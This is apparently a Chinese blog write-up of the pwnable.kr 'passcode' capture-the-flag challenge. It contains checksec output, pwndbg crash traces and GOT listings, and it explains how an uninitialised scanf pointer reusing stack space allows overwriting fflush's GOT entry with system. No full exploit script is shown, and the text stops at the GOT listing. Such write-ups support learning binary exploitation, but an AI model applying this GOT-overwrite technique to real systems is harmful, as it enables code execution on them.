  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>两个文件功能一样，但是又有不一样的地方：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">passcode@ubuntu:~$ checksec passcode
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">[*] &#39;/home/passcode/passcode&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">passcode@ubuntu:~$ checksec a/a.out
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">[*] &#39;/home/passcode/a/a.out&#39;
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">    Arch:       amd64-64-little
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">    RELRO:      Full RELRO
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">    PIE:        PIE enabled
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">    SHSTK:      Enabled
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">    IBT:        Enabled
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>a.out可以输入账密的，但是flag不在他的目录，没有cp，mv权限。</p>
<p>a.out报错：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">[Attaching after Thread 0x7ffff7d83740 (LWP 827536) vfork to child process 827822]
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">[New inferior 2 (process 827822)]
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">[Thread debugging using libthread_db enabled]
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Using host libthread_db library &#34;/lib/x86_64-linux-gnu/libthread_db.so.1&#34;.
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">[Detaching vfork parent process 827536 after child exec]
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">[Inferior 1 (process 827536) detached]
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">process 827822 is executing new program: /usr/bin/dash
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">Error in re-setting breakpoint 1: Function &#34;main&#34; not defined.
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">[Thread debugging using libthread_db enabled]
</span></span><span class="line"><span class="ln">10</span><span class="cl">Using host libthread_db library &#34;/lib/x86_64-linux-gnu/libthread_db.so.1&#34;.
</span></span><span class="line"><span class="ln">11</span><span class="cl">[Attaching after Thread 0x7ffff7d83740 (LWP 827822) vfork to child process 827823]
</span></span><span class="line"><span class="ln">12</span><span class="cl">[New inferior 3 (process 827823)]
</span></span><span class="line"><span class="ln">13</span><span class="cl">[Thread debugging using libthread_db enabled]
</span></span><span class="line"><span class="ln">14</span><span class="cl">Using host libthread_db library &#34;/lib/x86_64-linux-gnu/libthread_db.so.1&#34;.
</span></span><span class="line"><span class="ln">15</span><span class="cl">[Detaching vfork parent process 827822 after child exec]
</span></span><span class="line"><span class="ln">16</span><span class="cl">[Inferior 2 (process 827822) detached]
</span></span><span class="line"><span class="ln">17</span><span class="cl">process 827823 is executing new program: /usr/bin/cat
</span></span><span class="line"><span class="ln">18</span><span class="cl">[Thread debugging using libthread_db enabled]
</span></span><span class="line"><span class="ln">19</span><span class="cl">Using host libthread_db library &#34;/lib/x86_64-linux-gnu/libthread_db.so.1&#34;.
</span></span><span class="line"><span class="ln">20</span><span class="cl">/bin/cat: flag: No such file or directory
</span></span><span class="line"><span class="ln">21</span><span class="cl">[Inferior 3 (process 827823) exited with code 01]
</span></span><span class="line"><span class="ln">22</span><span class="cl">Now I can safely trust you that you have credential :)</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>passcode调试崩掉：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt;
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">enter passcode2 : 13371337
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">Program received signal SIGSEGV, Segmentation fault.
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">0xf7db0f80 in __vfscanf_internal (s=&lt;optimized out&gt;, format=&lt;optimized out&gt;, argptr=&lt;optimized out&gt;, mode_flags=&lt;optimized out&gt;) at ./stdio-common/vfscanf-internal.c:1896
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">1896    ./stdio-common/vfscanf-internal.c: No such file or directory.
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">*EAX  0xcc07c9
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">*EBX  0x40
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">*ECX  0xff9ae5e4 ◂— 0x9411af00
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">*EDX  0x9411af00
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">*EDI  0xff9ae5e8 —▸ 0xff9ae650 —▸ 0xf7f7d000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">*ESI  9
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">*EBP  0xff9ae5b8 —▸ 0xff9ae608 —▸ 0xff9ae618 ◂— 0x1e240
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">*ESP  0xff9adf90 —▸ 0xf7f7dda0 (_IO_2_1_stdout_) ◂— 0xfbad2a84
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">*EIP  0xf7db0f80 (__vfscanf_internal+19248) ◂— mov dword ptr [edx], eax
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate off ]─────────────────────────────────────────────────────────────
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go"> ► 0xf7db0f80 &lt;__vfscanf_internal+19248&gt;    mov    dword ptr [edx], eax     &lt;Cannot dereference [0x9411af00]&gt;
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>a能执行，但是没有不在flag目录里。passcode调试崩掉是因为<strong>把 <code>EAX</code> 的值写入 <code>EDX</code> 指向的内存</strong>时，edx存的地址是非法的。</p>
<p>这怎么可能，源代码用的是<code>&amp;passcode2</code>啊。问了AI，说是二进制文件跟源码不是一套，wcnm</p>
<p>二进制程序login函数用的是<code>scanf(&quot;%d&quot;, passcode2);</code>，</p>
<p>这道题我是没太懂的，有一篇wp极其清楚：<a
  href="https://writeups.kunull.net/Pwnable.kr/Toddler%27s%20Bottle/passcode" rel="nofollow noopener noreferrer" target="_blank"
  >Writeups Kunull.net<span style="user-select:none"> ↗</span></a
>
</p>
<p>这题没开PIE，name的初始化区域在ebp-0x70，而login里面两个scanf是在ebp-0x10的位置。复用了栈空间。</p>
<p>0x70=112，name是100长度，所以末端距离ebp还有12的距离，而passcode1是0x10=16距离，name的后4字节内容被passcode1当地址写入了。</p>
<p>源代码里还有一个很突兀的<code>fflush(stdin);</code>，这里的思路是name最后4字节写这个fflush的地址，passcode1呢就输入system地址，这样就把system写入了fflush，等到执行fflush的时候，就会执行system了。</p>
<p>汇编一下login：获取fflush和system的地址：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">pwndbg&gt; disassemble login
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里的地址不能信，这是代码段的地址，因为还没有执行，所以got表没更新真实地址。</p>
<p>这里用三种方式都能获取到fflush的got表地址：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; got
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Filtering out read-only entries (display them with -r or --show-readonly)
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">State of the GOT of /home/passcode/passcode:
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">GOT protection: Partial RELRO | Found 10 GOT entries passing the filter
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">[0x804c00c] __libc_start_main@GLIBC_2.34 -&gt; 0xf7d5f560 (__libc_start_main) ◂— endbr32
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">[0x804c010] printf@GLIBC_2.0 -&gt; 0xf7d95a90 (printf) ◂— endbr32
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">[0x804c014] fflush@GLIBC_2.0 -&gt; 0x8049066 (fflush@plt+6) ◂— push 0x10
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">[0x804c018] __stack_chk_fail@GLIBC_2.4 -&gt; 0x8049076 (__stack_chk_fail@plt+6) ◂— push 0x18
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">[0x804c01c] getegid@GLIBC_2.0 -&gt; 0x8049086 (getegid@plt+6) ◂— push 0x20 /* &#39;h &#39; */
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">[0x804c020] puts@GLIBC_2.0 -&gt; 0xf7db12a0 (puts) ◂— endbr32
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">[0x804c024] system@GLIBC_2.0 -&gt; 0x80490a6 (system@plt+6) ◂— push 0x30 /* &#39;h0&#39; */
